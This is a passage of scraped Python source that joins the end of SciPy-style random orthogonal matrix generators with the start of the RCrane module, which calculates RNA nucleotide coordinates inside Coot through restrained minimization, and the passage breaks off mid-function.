self._get_random_state(random_state) H = np.eye(dim) D = np.ones((dim,)) for n in range(1, dim): x = random_state.normal(size=(dim-n+1,)) D[n-1] = np.sign(x[0]) x[0] -= D[n-1]*np.sqrt((x*x).sum()) # Householder transformation Hx = (np.eye(dim-n+1) - 2.*np.outer(x, x)/(x*x).sum()) mat = np.eye(dim) mat[n-1:, n-1:] = Hx H = np.dot(H, mat) # Fix the last sign such that the determinant is 1 D[-1] = (-1)**(1-(dim % 2))*D.prod() # Equivalent to np.dot(np.diag(D), H) but faster, apparently H = (D*H.T).T return H special_ortho_group = special_ortho_group_gen() class special_ortho_group_frozen(multi_rv_frozen): def __init__(self, dim=None, seed=None): """ Create a frozen SO(N) distribution. Parameters ---------- dim : scalar Dimension of matrices seed : None or int or np.random.RandomState instance, optional This parameter defines the RandomState object to use for drawing random variates. If None (or np.random), the global np.random state is used. If integer, it is used to seed the local RandomState instance Default is None. Examples -------- >>> from scipy.stats import special_ortho_group >>> g = special_ortho_group(5) >>> x = g.rvs() """ self._dist = special_ortho_group_gen(seed) self.dim = self._dist._process_parameters(dim) def rvs(self, size=1, random_state=None): return self._dist.rvs(self.dim, size, random_state) class ortho_group_gen(multi_rv_generic): r""" A matrix-valued O(N) random variable. Return a random orthogonal matrix, drawn from the O(N) Haar distribution (the only uniform distribution on O(N)). The `dim` keyword specifies the dimension N. Methods ------- ``rvs(dim=None, size=1, random_state=None)`` Draw random samples from O(N). Parameters ---------- dim : scalar Dimension of matrices Notes ---------- This class is closely related to `special_ortho_group`. Some care is taken to avoid numerical error, as per the paper by Mezzadri. References ---------- .. [1] F. Mezzadri, "How to generate random matrices from the classical compact groups", arXiv:math-ph/0609050v2. Examples -------- >>> from scipy.stats import ortho_group >>> x = ortho_group.rvs(3) >>> np.dot(x, x.T) array([[ 1.00000000e+00, 1.13231364e-17, -2.86852790e-16], [ 1.13231364e-17, 1.00000000e+00, -1.46845020e-16], [ -2.86852790e-16, -1.46845020e-16, 1.00000000e+00]]) >>> import scipy.linalg >>> np.fabs(scipy.linalg.det(x)) 1.0 This generates one random matrix from O(3). It is orthogonal and has a determinant of +1 or -1. """ def __init__(self, seed=None): super(ortho_group_gen, self).__init__(seed) self.__doc__ = doccer.docformat(self.__doc__) def _process_parameters(self, dim): """ Dimension N must be specified; it cannot be inferred. """ if dim is None or not np.isscalar(dim) or dim <= 1 or dim != int(dim): raise ValueError("Dimension of rotation must be specified," "and must be a scalar greater than 1.") return dim def rvs(self, dim, size=1, random_state=None): """ Draw random samples from O(N). Parameters ---------- dim : integer Dimension of rotation space (N). size : integer, optional Number of samples to draw (default 1). Returns ------- rvs : ndarray or scalar Random size N-dimensional matrices, dimension (size, dim, dim) """ size = int(size) if size > 1: return np.array([self.rvs(dim, size=1, random_state=random_state) for i in range(size)]) dim = self._process_parameters(dim) random_state = self._get_random_state(random_state) H = np.eye(dim) for n in range(1, dim): x = random_state.normal(size=(dim-n+1,)) # random sign, 50/50, but chosen carefully to avoid roundoff error D = np.sign(x[0]) x[0] += D*np.sqrt((x*x).sum()) # Householder transformation Hx = -D*(np.eye(dim-n+1) - 2.*np.outer(x, x)/(x*x).sum()) mat = np.eye(dim) mat[n-1:, n-1:] = Hx H = np.dot(H, mat) return H ortho_group = ortho_group_gen()
codeparrot/github-code-clean
#!/usr/bin/env python """Functions for calculating nucleotide coordinates""" # Copyright 2010, 2011, 2012 Kevin Keating # # Licensed under the Educational Community License, Version 2.0 (the # "License"); you may not use this file except in compliance with the # License. You may obtain a copy of the License at # # http://www.osedu.org/licenses/ECL-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an "AS IS" # BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express # or implied. See the License for the specific language governing # permissions and limitations under the License. import os.path import re import gtk from copy import deepcopy #from time import sleep #for debugging #from pprint import pprint #for debugging from coot import refinement_immediate_replacement_state, set_refinement_immediate_replacement, accept_regularizement, clear_all_fixed_atoms, add_extra_torsion_restraint, set_refine_with_torsion_restraints, refine_with_torsion_restraints_state, matrix_state, set_matrix, delete_all_extra_restraints, add_extra_start_pos_restraint, refine_zone, set_use_only_extra_torsion_restraints_for_torsions from coot import svn_revision #needed to see if Coot is new enough for Phenix restraints from coot import monomer_restraints_py as monomer_restraints from coot import set_monomer_restraints_py as set_monomer_restraints from coot import refine_residues_py as refine_residues from coot import refine_zone_with_score_py as refine_zone_with_score from coot import mark_multiple_atoms_as_fixed_py as mark_multiple_atoms_as_fixed #regularize_zone_with_score_py only exists in Coot newer than 3728 (0.7-pre) #so we won't be able to find it in Coot 0.6.2 #this function is only used in Rotamerize without density, and the menu option for that won't be created #unless Coot is newer than 3728 #so we can safely ignore the ImportError try: from coot import regularize_zone_with_score_py as regularize_zone_with_score except ImportError: pass #use_only_extra_torsion_restraints_for_torsions_state() only exists in Coot newer than ~3902 #if the function doesn't exist, then just assume that this variable was turned off #(since RCrane is probably the only thing that uses it) try: from coot import use_only_extra_torsion_restraints_for_torsions_state except ImportError: def use_only_extra_torsion_restraints_for_torsions_state(): return 0 from buildInitSugar import BuildInitSugar, rotateSugar from puckerList import puckerList from buildPhosOxy import buildPhosOxy, buildInitOrTerminalPhosOxy from rotData import RotDataLoader from puckerList import puckerList from guiUtils import HBOX_SPACING, VBOX_SPACING, createRCraneWindowObject import phenixRestraints #initialize a BuildInitSugar object when this module is loaded rcranePath = os.path.dirname(os.path.abspath(__file__)) dataPath = os.path.join(rcranePath, "data") sugarBuilder = BuildInitSugar(c3pStruc = os.path.join(dataPath, "c3p.pdb"), c2pStruc = os.path.join(dataPath, "c2p.pdb")) #initialize a rotData object when this module is loaded rotData = RotDataLoader(os.path.join(dataPath, "dihedData.csv")) TORSION_STD_DEV_MOD = 0.1 #for minimization restraints, all the standard deviations for all rotamer torsions are multiplied by this number MANUAL_TORSION_STD_DEV = 2 #when rotamerizing an already existing structure, this will be used as the standard deviation for the #non-predicted torsions (i.e. the first and last half-nucleotides) #the standard deviations for the harmonic (start position) restraints #the larger the number, the more freedom the restrained atoms have to move HARMONIC_STD_DEV_PHOSPHATE = 0.25 #for phosphates HARMONIC_STD_DEV_BASE = 0.1 #for base atoms #sugar torsions for C3' and C2' sugars (taken from Phenix (phenix/1.6.2-432/phenix-1.6.2-432/chem_data/geostd/rna_dna/mod_rna2p.cif and mod_rna3p.cif)) NU0_C3 = 3.0 NU1_C3 = 335.0 NU4_C3 = 145.0 #Coot refers to C5'-C4'-O4'-C1' as nu4. I think nu4 is actually C3'-C4'-O4'-C1'. #We're using the C5' version of the torsion here NU0_C2 = 339.0 NU1_C2 = 35.0 NU4_C2 = 123.0 #TODO: use realnu4 and wasnu4? that's what Phenix uses #torsions for chi (also taken from Phenix) CHI_MEAN = -123.0 CHI_STD_DEV = 24.3 NU_STD_DEV = 4 #Coot default is 40, but we want to make sure that the sugars don't get flattened #TODO: try a value of 8 here? that's what Phenix uses REFINE_MAP_WEIGHT = 10 #the weight of the map term during the minimization (Coot default is 60) #if this value it too high, Coot will distort the sugar to try to fit the O2' into density #TODO: try to balance this value against NU_STD_DEV SYN_REBUILDING_CUTOFF = 3 #any minimization scores above this will cause the minimiztion to be restarted using a syn sugar HIGH_ANTI_REBUILDING_CUTOFF = 8 #if both the anti and the syn minimizations are above this score, then the minimization #will be restarted using a high-anti sugar REFINEMENT_FAIL_SCORE = 99999 #what score to assign a minimization that didn't return a score (which means that the refinement failed) PRINT_SUMMARY_TABLE = False #whether to print a summary table of minimization scores #note that setting rcrane_debug to True before launching RCrane will set PRINT_SUMMARY_TABLE to True #(launch.py will set PRINT_SUMMARY_TABLE after loading this module) #atoms to not fix during minimization PREV_RES_MOBILE_ATOMS = frozenset(["O3'"]) #OP1 and OP2 may be added at runtime CUR_RES_MOBILE_ATOMS = frozenset("P C2' O2' C3' O3' C4' O4' C5' O5'".split(" ")) #C1' should be the only restrained backbone atom NEXT_RES_MOBILE_ATOMS = frozenset("P O5' OP1 OP2".split(" ")) #The O5' will only be present if the next residue is already built #default to using the Coot/CCP4 restraints, as opposed to Phenix's pucker-specific restraints #This default may change in the future USE_PHENIX_RESTRAINTS = False PHENIX_NEW_RESTRAINT_ATOMS = frozenset("N1 N9 C1' C2' O2' C3' O3' C4' O4' C5' O5' P OP1 OP2".split(" ")) #bond and angle restraints where all atoms are on this list will be rewritten if USE_PHENIX_RESTRAINTS is True def calcCoords(builtChain, bestPath, pseudoMol, window): """Calculate coordinates for a chain of nucleotides ARGUMENTS: builtChain - a chain object containing phosphate and base coordinates for all nucleotides to be built bestPath - a list of the desired conformers to be built pseudoMol - a pseudoMolecule object currently being used to display the chain window - the window contianing the GUI RETURNS: intermediateAtomLocs - phosphate and O3' coordinates for each nucleotide immediately before minimization of that nucleotide was started minimizationScores - a list of the minimization scores for each nucleotide NOTE: If only a single nucleotide is being built, then we don't have a full suite, so there are no confmers In this case, bestPath should be a scalar containing the intended pucker of the nucleotide to be built """ #put a progress bar in window progressDialog = ProgressDialogObject(window, builtChain.numNucs()-1) #we're going to have to change some Coot settings during the coordinate calculation #so check what the existing values are so we can set them back origCootSettings = __changeCootSettings() intermediateAtomLocs = None minimizationScores = None #enclose the rest of the function in a try clause so that we can still reset the Coot variables even if something goes wrong try: #for x in (1,): if builtChain.numNucs() == 1: #if there's only one nucleotide, then there's nothing we can do (the nucleotide should contain only a phosphate) return elif builtChain.numNucs() == 2: #if there are two nucleotides, then we have a single sugar with both a 5' and a 3' phosphate #we can't determine a conformer, but we can predict the sugar pucker and minimize things without any torsions __minCoords(pseudoMol, #pseudoMolecule object None, None, 1, 2, #residue numbers None, None, #rotamers None, builtChain.nucleotides[0].type, None, #residue types builtChain.nucleotides[0].atoms, #atomic coordinates pucker = bestPath, nextResAtoms = builtChain.nucleotides[1].atoms) else: #if we recalculate coordinates later, we want to mimic the conditions of this minimization as closely as possible #this means we need to store intermediate locations for the phophate and O3' #(i.e. for phosphate i, we need to store it's location after minimizing nucleotide i-1 but before minimizing nucleotide i) #the first phosphate doesn't have an intermediate location, so just store None for that nucleotide intermediateAtomLocs = [None] minimizationScores = [] #build the first nucleotide (don't put torsional constraints on the initial alpha, beta, and gamma) #minimize the structure (newCoords, score) = __minCoords(pseudoMol, #pseudoMolecule object None, None, 1, 2, #residue numbers None, bestPath[0], #rotamers None, builtChain.nucs[0].type, builtChain.nucs[1].type, #residue types builtChain.nucs[0].atoms) #atomic coordinates #update the builtChain object with the new coordinates (builtChain.nucs[0].atoms, builtChain.nucs[1].atoms) = newCoords #store the phosphate and previous O3' location intermediateAtomLocs.append([builtChain.nucs[1].atoms["P"], builtChain.nucs[0].atoms["O3'"], builtChain.nucs[0].atoms["C3'"]]) minimizationScores.append(score) #increment the progress bar progressDialog.progress() #return fixPrevPhosOxy = True #don't minimize the first previous phosphoryl oxygens since it's going to take a long time and isn't #going to make them any more accurate since there's no O3' to use to position them #built the middle nucleotides for resNum in xrange(1, len(bestPath)): #minimize the structure (newCoords, score) = __minCoords(pseudoMol, #pseudoMolecule object resNum-1 or None, resNum, resNum+1, resNum+2, #residue numbers bestPath[resNum-1], bestPath[resNum], #rotamers builtChain.nucs[resNum-1].type, builtChain.nucs[resNum].type, builtChain.nucs[resNum+1].type, #residue types builtChain.nucs[resNum].atoms, #atomic coordinates fixPrevPhosOxy = fixPrevPhosOxy) #update the builtChain object with the new coordinates (builtChain.nucs[resNum-1].atoms, builtChain.nucs[resNum].atoms, builtChain.nucs[resNum+1].atoms) = newCoords #store the phosphate location intermediateAtomLocs.append([builtChain.nucs[resNum+1].atoms["P"], builtChain.nucs[resNum].atoms["O3'"], builtChain.nucs[resNum].atoms["C3'"]]) minimizationScores.append(score) progressDialog.progress() #increment the progress bar fixPrevPhosOxy = False #minimize all of the non-bridging oxygens from here on #build the last nucleotide (don't put torsional constraints on the final epsilon and zeta) resNum = len(bestPath) #minimize the structure (newCoords, score) = __minCoords(pseudoMol, #pseudoMolecule object resNum-1 or None, resNum, resNum+1, resNum+2, #residue numbers bestPath[resNum-1], None, #rotamers builtChain.nucs[resNum-1].type, builtChain.nucs[resNum].type, None, #residue types builtChain.nucs[resNum].atoms, #atomic coordinates fixPrevPhosOxy = fixPrevPhosOxy) #update the builtChain object with the new coordinates (builtChain.nucs[resNum-1].atoms, builtChain.nucs[resNum].atoms, builtChain.nucs[resNum+1].atoms) = newCoords minimizationScores.append(score) #increment the progress bar before we do the last thing so that the user sees it at 100% for a few seconds progressDialog.progress() #We no longer minimize the terminal phosphoryl oxygens, since it occasionally takes a long time and doesn't seem #to improve their placement much. finally: #restore the original Coot settings even if something went wrong during the minimization __restoreCootSettings(origCootSettings) #only draw extra bonds if the user is going to be presented with a GUI #otherwise, there won't be any way to delete the extra bonds if builtChain.numNucs() > 2: pseudoMol.drawExtraBonds() return (intermediateAtomLocs, minimizationScores) def recalcCoords(startingRes, endingRes, rots, origCoords, pseudoMol, window, ignoreDensity = False): """Recalculate coordinates (using different rotamers) for part of a chain of nucleotides starting with a chain built by calcCoords ARGUMENTS: startingRes - the first residue to rebuild endingRes - the last residue to rebuilt rots - what rotamers to use for the rebuild origCoords - a chain object containing the current coordinates pseudoMol - a pseudoMolecule object currently being used to display the chain window - the window contianing the GUI OPTIONAL ARGUMENTS: ignoreDensity - ignore the density when performing the minimization defaults to False RETURNS: intermediateAtomLocs - phosphate and O3' coordinates for each nucleotide immediately before minimization of that nucleotide was started minimizationScores - a list of the minimization scores for each nucleotide NOTE: Currently, the return values from this function are only used for initial rotamerize minimization. They are ignored for all other calls to this function """ #convert the starting and ending residues to indices startingResIndex = origCoords.resIndex(startingRes) endingResIndex = origCoords.resIndex(endingRes) #print "Indices:", startingResIndex, ",", endingResIndex progressDialog = ProgressDialogObject(window, endingResIndex - startingResIndex + 1) while gtk.events_pending(): gtk.main_iteration(False) #at least on Windows, the progressDialog isn't showing until after the atoms are frozen without this line #we're going to have to change some Coot settings during the coordinate calculation #so check what the existing values are so we can set them back origCootSettings = __changeCootSettings() builtChain = deepcopy(origCoords) #we don't want to modify this object print "Recalculating ", startingRes, "-", endingRes #from time import sleep; sleep(3) #initialize intermediateAtomLocs (the first nucleotide doesn't have an intermediate location) intermediateAtomLocs = [None] minimizationScores = [] try: if startingResIndex == 0: #if we're at the first nucleotide of the chain (or we're right after a chain break) print "Rebuilding initial nucleotide" #if we have to build the first nucleotide of the chain #minimize the structure (newCoords, score) = __minCoords(pseudoMol, #pseudoMolecule object None, None, startingRes, builtChain.nucs[1].resNum, #residue numbers None, rots[1], #rotamers None, builtChain.nucleotides[0].type, builtChain.nucleotides[1].type, #residue types builtChain.nucleotides[0].atoms, #atomic coordinates ignoreDensity = ignoreDensity) #update the builtChain object with the new coordinates (builtChain.nucleotides[0].atoms, builtChain.nucleotides[1].atoms) = newCoords intermediateAtomLocs.append([builtChain.nucs[1].atoms["P"], builtChain.nucs[0].atoms["O3'"], builtChain.nucs[0].atoms["C3'"]]) minimizationScores.append(score) startingResIndex += 1 rotsIndex = 2 #increment the progress bar progressDialog.progress() else: rotsIndex = 1 fixPrevPhosOxy = True #don't minimize the first previous phosphoryl oxygens #if we just built the first nucleotide, then minimizing them is going to take a long time and isn't going to make them #any more accurate since there's no O3' to use to position them #if we didn't just build the first nucleotide, then we don't want to adjust the non-bridging oxygens that are outside #of our minimization range for resIndex in xrange(startingResIndex, endingResIndex): #minimize the structure (newCoords, score) = __minCoords(pseudoMol, #pseudoMolecule object builtChain.nucs[resIndex-2].resNum if resIndex > 1 else None, builtChain.nucs[resIndex-1].resNum, builtChain.nucs[resIndex].resNum, builtChain.nucs[resIndex+1].resNum, #residue numbers rots[rotsIndex-1], rots[rotsIndex], #rotamers builtChain.nucs[resIndex-1].type, builtChain.nucs[resIndex].type, builtChain.nucs[resIndex+1].type, #residue types builtChain.nucs[resIndex].atoms, #atomic coordinates fixPrevPhosOxy = fixPrevPhosOxy, #if this is the first residue that we're rebuilding but not the first residue #of the chain, then don't move the non-bridging oxygens of the previous residue ignoreDensity = ignoreDensity) #update the builtChain object with the new coordinates (builtChain.nucleotides[resIndex-1].atoms, builtChain.nucleotides[resIndex].atoms, builtChain.nucleotides[resIndex+1].atoms) = newCoords intermediateAtomLocs.append([builtChain.nucs[resIndex+1].atoms["P"], builtChain.nucs[resIndex].atoms["O3'"], builtChain.nucs[resIndex].atoms["C3'"]]) minimizationScores.append(score) #increment the progress bar progressDialog.progress() rotsIndex += 1 firstRes = False fixPrevPhosOxy = False #minimize all of the non-bridging oxygens from here on resIndex = endingResIndex #for the last rebuilt nucleotide, we have to call __minCoords with nextResAlreadyBuilt=True #we don't need to worry about doing anything special if this is the last suite of the chain, though, since the 3' phosphoryl oxygens are already built #only do this if we have a final 3' phosphate #minimize the structure if (resIndex + 1) < len(builtChain.nucs): #print "*****Minimizing last nt*****" #from time import sleep; sleep(3) (newCoords, score) = __minCoords(pseudoMol, #pseudoMolecule obj builtChain.nucs[resIndex-2].resNum if resIndex > 1 else None, builtChain.nucs[resIndex-1].resNum, builtChain.nucs[resIndex].resNum, builtChain.nucs[resIndex+1].resNum, #residue numbers rots[rotsIndex-1], rots[rotsIndex], #rotamers builtChain.nucs[resIndex-1].type, builtChain.nucs[resIndex].type, builtChain.nucs[resIndex+1].type, #residue types builtChain.nucs[resIndex].atoms, #atomic coordinates nextResAlreadyBuilt=True, fixPrevPhosOxy = fixPrevPhosOxy, ignoreDensity = ignoreDensity) #update the builtChain object with the new coordinates (builtChain.nucleotides[resIndex-1].atoms, builtChain.nucleotides[resIndex].atoms, builtChain.nucleotides[resIndex+1].atoms) = newCoords minimizationScores.append(score) #increment the progress bar (even though the user probably won't actually see this, since it will be replaced almost immediately by the review suites GUI)) progressDialog.progress() #don't bother to do a separate minimization run for the phosphoryl oxygens of the final nucleotide. They should be good enough finally: __restoreCootSettings(origCootSettings) #restore the original Coot settings even if something went wrong during the minimization progressDialog.restoreWindow() #never return from this function without running restoreWindow() #GTK can crash Coot if it tries to update a GUI element that had been removed from the window and not restored (and possibly gone out of scope) pseudoMol.drawExtraBonds() #redraw overly-long bonds for the entire molecule return (intermediateAtomLocs, minimizationScores) def __minCoords(pseudoMol, prevPrevResNum, prevResNum, curResNum, nextResNum, curRot, nextRot, prevResType, curResType, nextResType, curResAtoms, nextResAlreadyBuilt = False, fixPrevPhosOxy = False, pucker = None, nextResAtoms = None, ignoreDensity = False): """Build a single nucleotide and minimize its coordinates. ARGUMENTS: pseudoMol - the pseudoMolecule object currently being used to display the chain prevPrevResNum - the residue number of residue i-2 only used if we're using Phenix's pucker-specific restraints, in which case it's needed to restrain the non-bridging oxygens of residue prevResNum prevResNum - the residue number of the previous residue using Coot numbering (i.e. starting at 1, not 0) curResNum - the residue number to build using Coot numbering (i.e. starting at 1, not 0) nextResNum - the residue number of the next residue using Coot numbering (i.e. starting at 1, not 0) curRot - the rotamer to use when building the current residue nextRot - the rotamer to use when building the next residue prevResType - the residue type (i.e. A, G, C, or U) of the previous residue curResType - the residue type (i.e. A, G, C, or U) of the current residue nextResType - the residue type (i.e. A, G, C, or U) of the next residue curResAtoms - a hash of atom coordinates for the current residue OPTIONAL ARGUMENTS: nextResAlreadyBuilt - should be True if the next residue is already built (i.e. if we are being called from recalcCoords instead of calcCoords) Defaults to False. fixPrevPhosOxy - whether to fix the phosphoryl oxygens of the previous nucleotide during minimization pucker - the sugar pucker for this nucleotide. Only necessary when both curRot and nextRot are None (i.e. when we're building the only nucleotide of the chain) Defaults to None nextResAtoms - a hash of atoms containing coordinates for the next phosphate. Should only be provided if we are building the only nucleotide of the chain Defaults to None ignoreDensity - ignore the density when performing the minimization defaults to False RETURNS: newCoords - new atomic coordinates calculated by the minimization procedure, formatted as a list of dictionaries score - the score received from Coot's minimization """ #print "*** Running __minCoords with:" #print "*** prevResNum =", prevResNum, ",\tcurResNum =", curResNum, ",\tnextResNum =", nextResNum #print "*** curRot =", curRot #print "*** nextRot =", nextRot #print "*** prevResType =", prevResType, "curResType =", curResType, "nextResType =", nextResType #print "*** fixPrevPhosOxy =", fixPrevPhosOxy #sleep(2) chain = pseudoMol.chain #initialize the refinement score variables so that we can easily print them later without worrying about them being undefined antiRefinementScore = None synRefinementScore = None highAntiRefinementScore = None selectedStartingStruc = None #if we're not using Phenix restraints, then we don't need the i-2 residue number if not USE_PHENIX_RESTRAINTS: #By setting prevPrevResNum to None, that residue won't be included in the minimization #(which is what we want if we're not using Phenix restraints) prevPrevResNum = None #build an anti sugar if isinstance(curRot, str): #if curRot is None or a list (indicating that we're manually setting torsions), then don't use it to determine the sugar pucker curPucker = puckerList[curRot][1] elif nextRot is not None: curPucker = puckerList[nextRot][0] else: curPucker = pucker initSugarCoords = sugarBuilder.buildSugar(curResAtoms, curPucker) pseudoMol.addSugar(curResNum, initSugarCoords) #if we're building the only nucleotide of the chain, then build the phosphates before minimization if nextResAtoms is not None: sugarAndP = dict(curResAtoms.items()+initSugarCoords.items()) phosOxyCoords5 = buildInitOrTerminalPhosOxy(sugarAndP) pseudoMol.addPhosOxy(curResNum, phosOxyCoords5) phosOxyCoords3 = buildInitOrTerminalPhosOxy(nextResAtoms, sugarAndP) pseudoMol.addPhosOxy(nextResNum, phosOxyCoords3) #store the structure of the previous and next nucleotides, so we can restore them if we restart minimization with a syn sugar preMinimizationStruc = pseudoMol.getCootNucs(prevResNum or curResNum, nextResNum) #uncomment these lines to produce a Coot script for the minimization (i.e a script that will replicate the minimization we're about to do) #if curResNum == 8: # import sys # if sys.modules.has_key("genMinimizationScript"): del sys.modules["genMinimizationScript"] # from genMinimizationScript import genMinimizationScript # genMinimizationScript("lastNucMin.py", pseudoMol, prevResNum, curResNum, nextResNum, curRot, nextRot, prevResType, curResType, nextResType, curResAtoms, nextResAlreadyBuilt, fixPrevPhosOxy) # raise Exception #don't actually run the minimization #set the appropriate restraints molNum = pseudoMol.molNum() __fixAtoms(pseudoMol, prevResNum, curResNum, nextResNum, fixPrevPhosOxy) __setTorsionRestraints(molNum, chain, prevResNum, curResNum, nextResNum, curRot, nextRot, curResType, nextResAlreadyBuilt) if USE_PHENIX_RESTRAINTS: __addPhenixRestraints(molNum, chain, prevPrevResNum, prevResNum, curResNum, nextResNum, curRot, nextRot, curResType, nextResAlreadyBuilt) if prevPrevResNum is not None: #when USE_PHENIX_RESTRAINTS is true, we remove the polymer-type from RNA nucleotides so that #we can overwrite the link restraints (i.e. restraints spanning more than one nucleotide) #as a side-effect of this, Coot no longer implicitely includes flanking nucleotides in the minimization #as a result, the non-bridging oxygens of prevResNum will be improperly positioned unless we manually #include the fully immobilized prevPrevResNum in the minimization __fixEntireResidue(molNum, chain, prevPrevResNum, pseudoMol.getAtomNames(prevPrevResNum, strip=False)) #minimize the structure antiRefinementScore = __runRefinement(molNum, chain, prevPrevResNum or prevResNum or curResNum, nextResNum, ignoreDensity) score = antiRefinementScore selectedStartingStruc = "anti" #check how good the results of the minimization are to decide if we should restart with a syn chi if antiRefinementScore > SYN_REBUILDING_CUTOFF: #if False: #if the minimization did not end well, then we should restart it with a syn sugar #first, store the results of this minimization newCoords = pseudoMol.updateRes(prevResNum or curResNum, nextResNum) #antiRefinementStruc = pseudoMol.getCootNucs((resNum-1 or resNum) - 1, resNum) antiRefinementStruc = pseudoMol.getCootNucs(prevResNum or curResNum, nextResNum) #restore the structure as it was before minimization #pseudoMol.setCootNucs((resNum-1 or resNum) - 1, resNum, preMinimizationStruc, False) pseudoMol.setCootNucs(prevResNum or curResNum, nextResNum, preMinimizationStruc, False) #Note: the False fourth argument skips running clear_and_update_molecule, since that will be run by #replaceSugar() below #calculate syn sugar coordinates synSugarCoords = rotateSugar(initSugarCoords, curResAtoms, "syn") pseudoMol.replaceSugar(curResNum, synSugarCoords) #uncomment these lines to produce a Coot script for the minimization (i.e a script that will replicate the minimization we're about to do) #if curResNum == 8: # import sys # if sys.modules.has_key("genMinimizationScript"): del sys.modules["genMinimizationScript"] # from genMinimizationScript import genMinimizationScript # genMinimizationScript("lastNucMin.py", pseudoMol, prevResNum, curResNum, nextResNum, curRot, nextRot, prevResType, curResType, nextResType, curResAtoms, nextResAlreadyBuilt, fixPrevPhosOxy) # raise Exception synRefinementScore = __runRefinement(molNum, chain, prevPrevResNum or prevResNum or curResNum, nextResNum, ignoreDensity) #if the syn refinement wasn't better than the anti refinement, then go back to the anti structure if synRefinementScore >= antiRefinementScore: pseudoMol.setCootNucs(prevResNum or curResNum, nextResNum, antiRefinementStruc) #we don't need to run pseudoMol.updateRes() here since it was run above else: newCoords = pseudoMol.updateRes(prevResNum or curResNum, nextResNum) score = synRefinementScore selectedStartingStruc = "syn" else: #update the Pseudomolecule object so that it knows about the moved atoms newCoords = pseudoMol.updateRes(prevResNum or curResNum, nextResNum) #try a high-anti structure if the best score is still too high if score > HIGH_ANTI_REBUILDING_CUTOFF: prevRefinementStruc = pseudoMol.getCootNucs(prevResNum or curResNum, nextResNum) pseudoMol.setCootNucs(prevResNum or curResNum, nextResNum, preMinimizationStruc, False) highAntiSugarCoords = rotateSugar(initSugarCoords, curResAtoms, "high-anti") pseudoMol.replaceSugar(curResNum, highAntiSugarCoords) #raise Exception highAntiRefinementScore = __runRefinement(molNum, chain, prevPrevResNum or prevResNum or curResNum, nextResNum, ignoreDensity) if highAntiRefinementScore >= score: pseudoMol.setCootNucs(prevResNum or curResNum, nextResNum, prevRefinementStruc) else: newCoords = pseudoMol.updateRes(prevResNum or curResNum, nextResNum) score = highAntiRefinementScore selectedStartingStruc = "high-anti" #if desired, print a summary table listing the refinement scores and the selected structure if PRINT_SUMMARY_TABLE: print "********************************" print "* Starting struc * Score *" print "********************************" print "* Anti * %s *" % __stringifyScore(antiRefinementScore) print "* Syn * %s *" % __stringifyScore(synRefinementScore) print "* High-anti * %s *" % __stringifyScore(highAntiRefinementScore) print "********************************" print "* Using %s minimization" % selectedStartingStruc + " " * (9-len(selectedStartingStruc)) + " *" print "********************************" #from time import sleep; sleep(2) #pprint(newCoords) #if we haven't already, build the non-bridging oxygens if nextResAtoms is None: curResIndex = pseudoMol.resIndex(curResNum) #print "curResIndex =", curResIndex #print "curResNum =", curResNum #if curResIndex == 0: if prevResNum is None: #if this is the first (but not only) nucleotide (newCurResAtoms, newNextResAtoms) = newCoords phosOxyCoords = buildInitOrTerminalPhosOxy(newCurResAtoms) if phosOxyCoords is not None: pseudoMol.addPhosOxy(curResNum, phosOxyCoords) elif pseudoMol.numAtomsFromIndex(curResIndex+1) == 1 and not pseudoMol.connectedToNextFromIndex(curResIndex+1): #if the next residue is just a terminal 3' phosphate, then we need to add non-bridging oxygens (newPrevResAtoms, newCurResAtoms, newNextResAtoms) = newCoords phosOxyCoords5 = buildPhosOxy(newCurResAtoms, newPrevResAtoms) if phosOxyCoords5 is not None: pseudoMol.addPhosOxy(curResNum, phosOxyCoords5) phosOxyCoords3 = buildInitOrTerminalPhosOxy(newNextResAtoms, newCurResAtoms) if phosOxyCoords3 is not None: pseudoMol.addPhosOxy(nextResNum, phosOxyCoords3) else: #if this is a middle nucleotide of a chain #from pprint import pprint; pprint(newCoords) (newPrevResAtoms, newCurResAtoms, newNextResAtoms) = newCoords phosOxyCoords = buildPhosOxy(newCurResAtoms, newPrevResAtoms) if phosOxyCoords is not None: pseudoMol.addPhosOxy(curResNum, phosOxyCoords) #clear the fixed atoms and torsional restraints __clearResRestraints(molNum) return (newCoords, score) def __stringifyScore(score): """Format a refinement score for printing in the summary table ARGUMENTS: score - the refinement RETURNS: score formatted as a fixed length string or "Not run" if score is None """ if score == REFINEMENT_FAIL_SCORE: return " Failed" elif score is not None: return "%7.3f" % score else: return "Not run" def __fixAtoms(pseudoMol, prevResNumFull, curResNumFull, nextResNumFull, fixPrevPhosOxy): """Fix and restrain the appropriate atoms for minimization ARGUMENTS: pseudoMol - the PseudoMolecule object representing the molecule to fix atoms in prevResNumFull - the residue number of the previous residue using Coot numbering (i.e. starting at 1, not 0) including insertion code curResNumFull - the residue number using Coot numbering (i.e. starting at 1, not 0) including insertion code nextResNumFull - the residue number of the next residue using Coot numbering (i.e. starting at 1, not 0) including insertion code OPTIONAL ARGUMENTS: fixPrevPhosOxy - whether to fix the phosphoryl oxygens of the previous nucleotide during minimization Defaults to False RETURNS: None """ molNum = pseudoMol.molNum() chain = pseudoMol.chain (prevResNum, prevResInsCode) = __splitResNum(prevResNumFull) (curResNum, curResInsCode) = __splitResNum(curResNumFull) (nextResNum, nextResInsCode) = __splitResNum(nextResNumFull) #debugOut = open("fixAtoms.txt", "a") #debugOut.write("Minimizing "+ ", ".join(map(str, [prevResNumFull, curResNumFull, nextResNumFull])) + "\n") fixList = [] #the list of atoms to fix #fix atoms from the previous residue if prevResNum is not None: #fix the previous non-bridging oxygens if this is the first minimization of a recalcSuites if fixPrevPhosOxy: prevResMobileAtoms = PREV_RES_MOBILE_ATOMS else: prevResMobileAtoms = PREV_RES_MOBILE_ATOMS.union(["OP1", "OP2"]) for curAtom in pseudoMol.getAtomNames(prevResNum, strip=False): if curAtom.strip() not in prevResMobileAtoms: fixList.append([chain, prevResNum, prevResInsCode, curAtom, ""]) #debugOut.write(",".join(map(str, [chain, prevResNum, prevResInsCode, curAtom, ""])) + "\n") #restrain the starting and ending phosphates add_extra_start_pos_restraint(molNum, chain, curResNum , curResInsCode, " P ", "", HARMONIC_STD_DEV_PHOSPHATE) add_extra_start_pos_restraint(molNum, chain, nextResNum, nextResInsCode, " P ", "", HARMONIC_STD_DEV_PHOSPHATE) #debugOut.write(",".join(map(str, [molNum, chain, curResNum , curResInsCode, " P ", "", HARMONIC_STD_DEV_PHOSPHATE])) + "\n") #debugOut.write(",".join(map(str, [molNum, chain, nextResNum, nextResInsCode, " P ", "", 